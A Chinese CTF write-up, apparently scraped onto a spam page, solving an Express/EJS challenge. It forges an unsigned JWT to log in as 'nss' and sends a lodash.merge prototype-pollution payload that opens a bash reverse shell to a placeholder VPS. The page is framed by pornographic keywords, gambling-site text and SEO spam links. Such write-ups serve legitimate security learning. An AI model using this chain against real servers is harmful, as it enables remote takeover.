中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當(dāng)前位置: 首頁 > news >正文

給賭場做網(wǎng)站軟件開發(fā)公司網(wǎng)站

給賭場做網(wǎng)站,軟件開發(fā)公司網(wǎng)站,做二手車有哪些網(wǎng)站有哪些手續(xù),班級(jí)網(wǎng)站主頁怎么做做一題ejs原型鏈污染 首先是登錄界面 源碼里面提示了源碼的路由 js不熟先審計(jì)一下 const express require(express); #導(dǎo)入Express框架,用于構(gòu)建Web應(yīng)用程序的服務(wù)器和路由 const bodyParser require(body-parser); #導(dǎo)入body-parser中間件,用于解析…

做一題ejs原型鏈污染

首先是登錄界面

源碼里面提示了源碼的路由

js不熟先審計(jì)一下

const express = require('express'); 
#導(dǎo)入Express框架,用于構(gòu)建Web應(yīng)用程序的服務(wù)器和路由
const bodyParser = require('body-parser');
#導(dǎo)入body-parser中間件,用于解析HTTP請求體中的數(shù)據(jù),通常用于處理POST請求中的表單數(shù)據(jù)等
const lodash = require('lodash');
#導(dǎo)入Lodash庫,一個(gè)實(shí)用的JavaScript工具庫,提供了許多方便的函數(shù)用于簡化開發(fā)中的常見任務(wù)
const session = require('express-session');
#導(dǎo)入express-session中間件,用于處理會(huì)話管理,通過在客戶端和服務(wù)器之間存儲(chǔ)狀態(tài)信息來跟蹤用戶的會(huì)話
const randomize = require('randomatic');
#導(dǎo)入randomatic庫,用于生成隨機(jī)字符串,可能用于生成令牌或其他隨機(jī)值
const jwt = require('jsonwebtoken')
#導(dǎo)入jsonwebtoken庫,用于生成和驗(yàn)證JWT
const crypto = require('crypto');
#導(dǎo)入Node.js內(nèi)置的crypto模塊,用于提供加密和解密功能,例如生成哈希值、加密數(shù)據(jù)等
const fs = require('fs');
#導(dǎo)入Node.js內(nèi)置的fs模塊,用于處理文件系統(tǒng)操作,如讀取和寫入文件
global.secrets = [];
#定義一個(gè)叫secrets的全局?jǐn)?shù)組
express()
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json())
#使用body-parser中間件來解析請求體中的表單數(shù)據(jù)和JSON數(shù)據(jù)
.use('/static', express.static('static'))
# 配置Express應(yīng)用程序提供靜態(tài)文件的中間件,所有以/static開頭的請求都將映射到static目錄下的文件
.set('views', './views')
.set('view engine', 'ejs')
# 配置Express應(yīng)用程序使用EJS模板引擎,并設(shè)置模板文件的存儲(chǔ)目錄為./views
.use(session({name: 'session',secret: randomize('a', 16),resave: true,saveUninitialized: true
}))
#使用隨機(jī)生成的16位密鑰作為secret,resave和saveUninitialized用于配置會(huì)話的重新保存和初始化
.get('/', (req, res) => {if (req.session.data) {res.redirect('/home');} else {res.redirect('/login')}
})
#根目錄路由,首先檢查req.session.data是否存在,如果存在則重定向到/home,否則重定向到/login
.get('/source', (req, res) => {res.set('Content-Type', 'text/javascript;charset=utf-8');res.send(fs.readFileSync(__filename));
})
#source路由,利用fs模塊的readFileSync獲取源碼
.all('/login', (req, res) => {if (req.method == "GET") {res.render('login.ejs', {msg: null});}if (req.method == "POST") {const {username, password, token} = req.body;const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {return res.render('login.ejs', {msg: 'login error.'});}const secret = global.secrets[sid];const user = jwt.verify(token, secret, {algorithm: "HS256"});if (username === user.username && password === user.password) {req.session.data = {username: username,count: 0,}res.redirect('/home');} else {return res.render('login.ejs', {msg: 'login error.'});}}
})

login路由

請求方法是GET的時(shí)候,先用res.render渲染一個(gè)名為login.ejs的模板,并傳遞一個(gè)包含msg屬性的對象,msg初始化為null,這里用于登錄表單

請求方法是POST的時(shí)候,從請求體中提取username,passwordtoken,從token中提取secretid并檢測他是否在全局?jǐn)?shù)組secrets內(nèi),如果在,從global.secrets中獲取對應(yīng)的密鑰secret,然后使用jwt.verify驗(yàn)證令牌的有效性。如果驗(yàn)證成功,表示用戶提供的用戶名、密碼和令牌與令牌中的用戶信息匹配,創(chuàng)建一個(gè)req.session.data對象存儲(chǔ)用戶會(huì)話信息,并重定向到/home路徑,如果驗(yàn)證失敗,通過res.render渲染login.ejs模板提示登錄失敗

.all('/register', (req, res) => {if (req.method == "GET") {res.render('register.ejs', {msg: null});}if (req.method == "POST") {const {username, password} = req.body;if (!username || username == 'nss') {return res.render('register.ejs', {msg: "Username existed."});}const secret = crypto.randomBytes(16).toString('hex');const secretid = global.secrets.length;global.secrets.push(secret);const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});res.render('register.ejs', {msg: "Token: " + token});}
})

register路由

GET方法與login時(shí)候差不多

POST方法,提權(quán)表單中的usernamepassword,如果沒有輸入username或者usernamenss,用res.render渲染register.ejs,提示用戶名已存在,如果用戶名為其他,定義長度為16的隨機(jī)字節(jié)序列,將其轉(zhuǎn)換為十六進(jìn)制字符串,并作為secret使用,獲取當(dāng)前global.secrets數(shù)組的長度作為新的secretid,將secret添加到global.secrets數(shù)組中,使用jwt.sign生成jwt令牌,使用生成的secret簽名,算法是hs256??,再用res.render渲染register,ejs,并且msg為新的Token.

.all('/home', (req, res) => {if (!req.session.data) {return res.redirect('/login');}res.render('home.ejs', {username: req.session.data.username||'NSS',count: req.session.data.count||'0',msg: null})
})
#home路由,如果req.session.data不存在,重定向到登錄界面,如果存在,渲染一個(gè)home.ejs,用戶名為提交的用戶名或者NSS
.post('/update', (req, res) => {if(!req.session.data) {return res.redirect('/login');}if (req.session.data.username !== 'nss') {return res.render('home.ejs', {username: req.session.data.username||'NSS',count: req.session.data.count||'0',msg: 'U cant change uid'})}let data = req.session.data || {};req.session.data = lodash.merge(data, req.body);console.log(req.session.data.outputFunctionName);res.redirect('/home');
})

update路由

如果req.session.data不存在,重定向到登錄界面,如果存在并且用戶名不是nss,提示不能改變uid,如果用戶名是nss,利用lodash.mergereq.session.datareq.body合并,并將結(jié)果存儲(chǔ)回req.session.data中,這里merge是原型鏈污染的高危函數(shù),所有打原型鏈污染要在update路由打,并且用戶名需要是nss.

現(xiàn)在先辦法登錄nss的用戶,利用jwt偽造

 const user = jwt.verify(token, secret, {algorithm: "HS256"});

驗(yàn)證用戶的在這里,用verify函數(shù)

verify 的第三個(gè)參數(shù)options應(yīng)該是用algorithms傳入的數(shù)組,這里寫成了 algorithm,導(dǎo)致加密方式為空,空加密允許空密鑰即,secret可以為空

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {return res.render('login.ejs', {msg: 'login error.'});}

但是sid不能為null或者undefined,如果不繞過,無法進(jìn)行verify驗(yàn)證,這里定義sid為一個(gè)數(shù)組可以繞過

然后就可以偽造jwt了

const jwt = require('jsonwebtoken');
global.secrets = [];
var user = {secretid: [],username: 'nss',password: '123',"iat":1516239022}
const secret = global.secrets[user.secretid];
var token = jwt.sign(user, secret, {algorithm: 'none'});
console.log(token);

自己注冊一個(gè)賬號(hào),然后jwt解析看一下iat是什么,然后填到腳本里

賬號(hào)nss 密碼123

token:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoibnNzIiwicGFzc3dvcmQiOiIxMjMiLCJpYXQiOjE1MTYyMzkwMjJ9.

登錄成功

下一步是利用merge原型鏈污染

下面文章由介紹并且由exp

關(guān)于nodejs的ejs和jade模板引擎的原型鏈污染挖掘-安全客 - 安全資訊平臺(tái) (anquanke.com)

{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps_ip/4567 0>&1\"');","compileDebug":true}
}

在update路由下提交這個(gè)json數(shù)據(jù),注意把Content-Type該成application/json然后再重定向到home路由訪問一下

在環(huán)境變量里面找到flag

http://m.risenshineclean.com/news/64702.html

相關(guān)文章:

  • 網(wǎng)站建設(shè)需求說明書百度大數(shù)據(jù)查詢平臺(tái)
  • 貴州建設(shè)網(wǎng)老網(wǎng)站百度關(guān)鍵詞推廣帝搜軟件
  • 關(guān)于旅游網(wǎng)站建設(shè)的摘要百度一下首頁版
  • 網(wǎng)站怎么添加橫幅seo產(chǎn)品優(yōu)化推廣
  • 怎么做網(wǎng)絡(luò)推廣網(wǎng)站百度答主中心入口
  • 做淘寶網(wǎng)站用什么軟件有哪些內(nèi)容重慶網(wǎng)
  • 網(wǎng)站建設(shè)收費(fèi)明細(xì)百度熱度
  • 網(wǎng)站開發(fā)和網(wǎng)頁設(shè)計(jì)的區(qū)別seo優(yōu)化服務(wù)公司
  • 手機(jī)客戶端網(wǎng)站怎么做論述搜索引擎優(yōu)化的具體措施
  • 鄭州新感覺會(huì)所網(wǎng)站哪里做的sem百度競價(jià)推廣
  • 怎樣自己開網(wǎng)站賺錢seo營銷軟件
  • wordpress后臺(tái)網(wǎng)址杭州seo關(guān)鍵字優(yōu)化
  • 外貿(mào)型網(wǎng)站制作怎么制作自己的個(gè)人網(wǎng)站
  • 做網(wǎng)站哪一部分用到Javaseo教程視頻
  • 3合一網(wǎng)站怎么做江蘇搜索引擎優(yōu)化公司
  • 政府網(wǎng)站建設(shè)工作調(diào)研提綱2023免費(fèi)推廣入口
  • 深圳網(wǎng)站建設(shè)民治大道建設(shè)一個(gè)網(wǎng)站的具體步驟
  • 公司請外包做的網(wǎng)站怎么維護(hù)廣州網(wǎng)站設(shè)計(jì)制作
  • 做紅包圖片的網(wǎng)站貴陽網(wǎng)絡(luò)推廣外包
  • python 網(wǎng)站開發(fā) 案例阿里云搜索引擎網(wǎng)址
  • 宅男做網(wǎng)站12月30日疫情最新消息
  • 電子商務(wù)網(wǎng)站建設(shè)項(xiàng)目杭州seo平臺(tái)
  • 網(wǎng)站上做銷售網(wǎng)點(diǎn)怎么做網(wǎng)頁設(shè)計(jì)圖
  • 深圳網(wǎng)站建設(shè)定制開發(fā) 超凡科技sem廣告
  • 漢中建筑信息平臺(tái)網(wǎng)站關(guān)鍵詞優(yōu)化系統(tǒng)
  • 哪個(gè)網(wǎng)站可以發(fā)寶貝鏈接做宣傳疫情最新數(shù)據(jù)消息
  • 北海做網(wǎng)站網(wǎng)站建設(shè)免費(fèi)網(wǎng)站收錄入口
  • 杭州市江干建設(shè)局網(wǎng)站seo體系百科
  • 做神馬網(wǎng)站優(yōu)化如何建網(wǎng)站詳細(xì)步驟
  • 中國十大著名戰(zhàn)略咨詢公司福州seo建站